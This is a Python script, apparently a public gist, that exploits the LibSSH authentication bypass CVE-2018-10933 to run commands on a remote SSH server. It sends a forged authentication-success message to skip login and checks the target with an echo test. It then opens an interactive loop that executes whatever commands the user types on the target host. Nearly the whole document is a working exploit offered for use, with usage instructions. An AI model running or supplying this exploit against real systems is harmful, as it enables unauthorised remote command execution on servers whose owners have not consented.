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@ticarpi
Created November 8, 2018 08:02
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#!/usr/bin/env python3
############################################################
# A LibSSH RCE tool by @ticarpi #
# Cloned/carved/tweaked from multiple sources #
# This checks an SSH port to see if it's vulnerable to #
# CVE-2018-10933 #
# If it is it will prompt you for commands to run remotely #
# Usage: #
# $ python libssh_exploit_CVE-2018-10933.py <ip> <port> #
# $ python libssh_exploit_CVE-2018-10933.py 10.10.1.100 22 #
############################################################
import sys
import paramiko
import socket
import logging
# pip3 install paramiko==2.0.8
#logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
logging.basicConfig(stream=sys.stdout)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
vulntest = execute(sys.argv[1], sys.argv[2], "echo VULNERABLE")
# print(vulntest)
if "VULN" in vulntest:
print("Vulnerable")
else:
print("Not Vulnerable")
exit()
while True:
command = input("Enter command (Ctrl+C to exit):")
print(execute(sys.argv[1], sys.argv[2], command))
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